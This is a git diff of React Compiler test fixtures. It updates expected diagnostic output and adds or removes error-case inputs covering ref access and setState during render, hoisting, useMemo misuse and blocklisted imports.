+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-// @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
@@ -31,21 +31,20 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-   5 |   const ref = useRef({ inner: null });
-   6 |
->  7 |   const onChange = useCallback((event) => {
-     |                                ^^^^^^^^^^^^
->  8 |     // The ref should still be mutable here even though function deps are frozen in
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
->  9 |     // @enablePreserveExistingMemoizationGuarantees mode
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 10 |     ref.current.inner = event.target.value;
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 11 |   });
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (7:11)
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.ts:14:2
   12 |
   13 |   // The ref is modified later, extending its range and preventing memoization of onChange
-  14 |   ref.current.inner = null;
+> 14 |   ref.current.inner = null;
+     |   ^^^^^^^^^^^ Cannot update ref during render
+  15 |
+  16 |   return <input onChange={onChange} />;
+  17 | }
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.js
index 349e8f40c7da..cb259b457e3e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.js
@@ -1,10 +1,10 @@
-// @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.expect.md
deleted file mode 100644
index b24f1f18f0d3..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-function Component(props) {
-  return (
-    useMemo(() => {
-      return [props.value];
-    }) || []
-  );
-}
-
-```
-
-
-## Error
-
-```
-  1 | function Component(props) {
-  2 |   return (
-> 3 |     useMemo(() => {
-    |     ^^^^^^^^^^^^^^^
-> 4 |       return [props.value];
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 5 |     }) || []
-    | ^^^^^^^^^^^^^ Todo: Support labeled statements combined with value blocks (conditional, logical, optional chaining, etc) (3:5)
-  6 |   );
-  7 | }
-  8 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.js
deleted file mode 100644
index 533e2c370fe3..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useMemo-with-optional.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  return (
-    useMemo(() => {
-      return [props.value];
-    }) || []
-  );
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.expect.md
new file mode 100644
index 000000000000..89a9c0767549
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+/**
+ * Also see error.todo-functiondecl-hoisting.tsx which shows *invalid*
+ * compilation cases.
+ *
+ * This bailout specifically is a false positive for since this function's only
+ * reference-before-definition are within other functions which are not invoked.
+ */
+function Foo() {
+  'use memo';
+
+  function foo() {
+    return bar();
+  }
+  function bar() {
+    return 42;
+  }
+
+  return <Stringify fn1={foo} fn2={bar} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: [PruneHoistedContexts] Rewrite hoisted function references
+
+error.todo-valid-functiondecl-hoisting.ts:13:11
+  11 |
+  12 |   function foo() {
+> 13 |     return bar();
+     |            ^^^ [PruneHoistedContexts] Rewrite hoisted function references
+  14 |   }
+  15 |   function bar() {
+  16 |     return 42;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.tsx
new file mode 100644
index 000000000000..063492b89cf5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.tsx
@@ -0,0 +1,25 @@
+import {Stringify} from 'shared-runtime';
+/**
+ * Also see error.todo-functiondecl-hoisting.tsx which shows *invalid*
+ * compilation cases.
+ *
+ * This bailout specifically is a false positive for since this function's only
+ * reference-before-definition are within other functions which are not invoked.
+ */
+function Foo() {
+  'use memo';
+
+  function foo() {
+    return bar();
+  }
+  function bar() {
+    return 42;
+  }
+
+  return <Stringify fn1={foo} fn2={bar} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.expect.md
index 72e0f7c72be1..dcbdc1e64606 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.expect.md
@@ -18,10 +18,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch
+
+error.todo.try-catch-with-throw.ts:4:4
   2 |   let x;
   3 |   try {
 > 4 |     throw [];
-    |     ^^^^^^^^^ Todo: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch (4:4)
+    |     ^^^^^^^^^ (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch
   5 |   } catch (e) {
   6 |     x.push(e);
   7 |   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.expect.md
index 437cb91497a1..ad39cbc8bb78 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.expect.md
@@ -22,10 +22,19 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.unconditional-set-state-in-render-after-loop-break.ts:11:2
    9 |     }
   10 |   }
 > 11 |   setState(true);
-     |   ^^^^^^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (11:11)
+     |   ^^^^^^^^ Found setState() in render
   12 |   return state;
   13 | }
   14 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.expect.md
index 34c5252d5c89..066c185e7af4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.expect.md
@@ -17,10 +17,19 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.unconditional-set-state-in-render-after-loop.ts:6:2
   4 |   for (const _ of props) {
   5 |   }
 > 6 |   setState(true);
-    |   ^^^^^^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (6:6)
+    |   ^^^^^^^^ Found setState() in render
   7 |   return state;
   8 | }
   9 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.expect.md
index 5d1e1b5b964c..82d7cfbe286c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
     if (props.cond) {
       break;
     } else {
-      throw new Error("bye!");
+      throw new Error('bye!');
     }
   }
   setState(true);
@@ -22,10 +22,19 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.unconditional-set-state-in-render-with-loop-throw.ts:11:2
    9 |     }
   10 |   }
 > 11 |   setState(true);
-     |   ^^^^^^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (11:11)
+     |   ^^^^^^^^ Found setState() in render
   12 |   return state;
   13 | }
   14 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.js
index e05b8ba88057..67fff92deaab 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.js
@@ -5,7 +5,7 @@ function Component(props) {
     if (props.cond) {
       break;
     } else {
-      throw new Error("bye!");
+      throw new Error('bye!');
     }
   }
   setState(true);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.expect.md
index 895293ef8ffe..1ebd42229d71 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.expect.md
@@ -20,10 +20,19 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.unconditional-set-state-lambda.ts:8:2
    6 |     setX(1);
    7 |   };
 >  8 |   foo();
-     |   ^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (8:8)
+     |   ^^^ Found setState() in render
    9 |
   10 |   return [x];
   11 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.expect.md
index 7c7c5c92390d..4736e66c1247 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.expect.md
@@ -28,10 +28,19 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.unconditional-set-state-nested-function-expressions.ts:16:2
   14 |     bar();
   15 |   };
 > 16 |   baz();
-     |   ^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (16:16)
+     |   ^^^ Found setState() in render
   17 |
   18 |   return [x];
   19 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.expect.md
new file mode 100644
index 000000000000..439ada4b6316
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+let renderCount = 0;
+function useFoo() {
+  renderCount += 1;
+  return renderCount;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `renderCount` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.update-global-should-bailout.ts:3:2
+  1 | let renderCount = 0;
+  2 | function useFoo() {
+> 3 |   renderCount += 1;
+    |   ^^^^^^^^^^^^^^^^ `renderCount` cannot be reassigned
+  4 |   return renderCount;
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.tsx
new file mode 100644
index 000000000000..0e981e4bef1b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.tsx
@@ -0,0 +1,10 @@
+let renderCount = 0;
+function useFoo() {
+  renderCount += 1;
+  return renderCount;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md
new file mode 100644
index 000000000000..ba5a74077739
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender
+import {useCallback, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef({inner: null});
+
+  const onChange = useCallback(event => {
+    // The ref should still be mutable here even though function deps are frozen in
+    // @enablePreserveExistingMemoizationGuarantees mode
+    ref.current.inner = event.target.value;
+  });
+
+  // The ref is modified later, extending its range and preventing memoization of onChange
+  const reset = () => {
+    ref.current.inner = null;
+  };
+  reset();
+
+  return <input onChange={onChange} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.ts:17:2
+  15 |     ref.current.inner = null;
+  16 |   };
+> 17 |   reset();
+     |   ^^^^^ This function accesses a ref value
+  18 |
+  19 |   return <input onChange={onChange} />;
+  20 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js
new file mode 100644
index 000000000000..dec828c2d0d1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js
@@ -0,0 +1,25 @@
+// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender
+import {useCallback, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef({inner: null});
+
+  const onChange = useCallback(event => {
+    // The ref should still be mutable here even though function deps are frozen in
+    // @enablePreserveExistingMemoizationGuarantees mode
+    ref.current.inner = event.target.value;
+  });
+
+  // The ref is modified later, extending its range and preventing memoization of onChange
+  const reset = () => {
+    ref.current.inner = null;
+  };
+  reset();
+
+  return <input onChange={onChange} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md
new file mode 100644
index 000000000000..b40b0bbf226c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef({inner: null});
+
+  const onChange = useCallback(event => {
+    // The ref should still be mutable here even though function deps are frozen in
+    // @enablePreserveExistingMemoizationGuarantees mode
+    ref.current.inner = event.target.value;
+  });
+
+  ref.current.inner = null;
+
+  return <input onChange={onChange} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.useCallback-set-ref-nested-property-dont-preserve-memoization.ts:13:2
+  11 |   });
+  12 |
+> 13 |   ref.current.inner = null;
+     |   ^^^^^^^^^^^ Cannot update ref during render
+  14 |
+  15 |   return <input onChange={onChange} />;
+  16 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.js
new file mode 100644
index 000000000000..2231d924775b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.js
@@ -0,0 +1,21 @@
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef({inner: null});
+
+  const onChange = useCallback(event => {
+    // The ref should still be mutable here even though function deps are frozen in
+    // @enablePreserveExistingMemoizationGuarantees mode
+    ref.current.inner = event.target.value;
+  });
+
+  ref.current.inner = null;
+
+  return <input onChange={onChange} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md
index b77d67b70578..a3aae8768031 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md
@@ -18,13 +18,35 @@ function component(a, b) {
 ## Error
 
 ```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerExpression) Handle YieldExpression expressions
+
+error.useMemo-callback-generator.ts:6:4
   4 |   // add support for generators in the future.
   5 |   let x = useMemo(function* () {
 > 6 |     yield a;
-    |     ^^^^^^^ Todo: (BuildHIR::lowerExpression) Handle YieldExpression expressions (6:6)
+    |     ^^^^^^^ (BuildHIR::lowerExpression) Handle YieldExpression expressions
   7 |   }, []);
   8 |   return x;
   9 | }
+
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+
+error.useMemo-callback-generator.ts:5:18
+   3 |   // useful for now, but adding this test in case we do
+   4 |   // add support for generators in the future.
+>  5 |   let x = useMemo(function* () {
+     |                   ^^^^^^^^^^^^^^
+>  6 |     yield a;
+     | ^^^^^^^^^^^^
+>  7 |   }, []);
+     | ^^^^ Async and generator functions are not supported
+   8 |   return x;
+   9 | }
+  10 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.expect.md
index 285d3e0361e7..e135d7d57543 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.expect.md
@@ -2,24 +2,24 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // react-hooks-deps would error on this code (complex expression in depslist),
 // so Forget could bailout here
-function App({ text, hasDeps }) {
+function App({text, hasDeps}) {
   const resolvedText = useMemo(
     () => {
       return text.toUpperCase();
     },
-    hasDeps ? null : [text] // should be DCE'd
+    hasDeps ? null : [text], // should be DCE'd
   );
   return resolvedText;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: App,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -28,10 +28,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Expected the dependency list for useMemo to be an array literal
+
+Expected the dependency list for useMemo to be an array literal.
+
+error.useMemo-non-literal-depslist.ts:10:4
    8 |       return text.toUpperCase();
    9 |     },
-> 10 |     hasDeps ? null : [text] // should be DCE'd
-     |     ^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Expected the dependency list for useMemo to be an array literal (10:10)
+> 10 |     hasDeps ? null : [text], // should be DCE'd
+     |     ^^^^^^^^^^^^^^^^^^^^^^^ Expected the dependency list for useMemo to be an array literal
   11 |   );
   12 |   return resolvedText;
   13 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.ts
index 0a2b9a0f6fc7..24645c724cab 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.ts
@@ -1,19 +1,19 @@
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // react-hooks-deps would error on this code (complex expression in depslist),
 // so Forget could bailout here
-function App({ text, hasDeps }) {
+function App({text, hasDeps}) {
   const resolvedText = useMemo(
     () => {
       return text.toUpperCase();
     },
-    hasDeps ? null : [text] // should be DCE'd
+    hasDeps ? null : [text], // should be DCE'd
   );
   return resolvedText;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: App,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.expect.md
new file mode 100644
index 000000000000..233ca9435147
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.expect.md
@@ -0,0 +1,35 @@
+
+## Input
+
+```javascript
+// @validateBlocklistedImports:["DangerousImport"]
+import {foo} from 'DangerousImport';
+import {useIdentity} from 'shared-runtime';
+
+function useHook() {
+  useIdentity(foo);
+  return;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: Bailing out due to blocklisted import
+
+Import from module DangerousImport.
+
+error.validate-blocklisted-imports.ts:2:0
+  1 | // @validateBlocklistedImports:["DangerousImport"]
+> 2 | import {foo} from 'DangerousImport';
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Bailing out due to blocklisted import
+  3 | import {useIdentity} from 'shared-runtime';
+  4 |
+  5 | function useHook() {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.ts
new file mode 100644
index 000000000000..d33c175bcf47
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.ts
@@ -0,0 +1,8 @@
+// @validateBlocklistedImports:["DangerousImport"]
+import {foo} from 'DangerousImport';
+import {useIdentity} from 'shared-runtime';
+
+function useHook() {
+  useIdentity(foo);
+  return;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.expect.md
deleted file mode 100644
index 08dfd657639e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.expect.md
+++ /dev/null
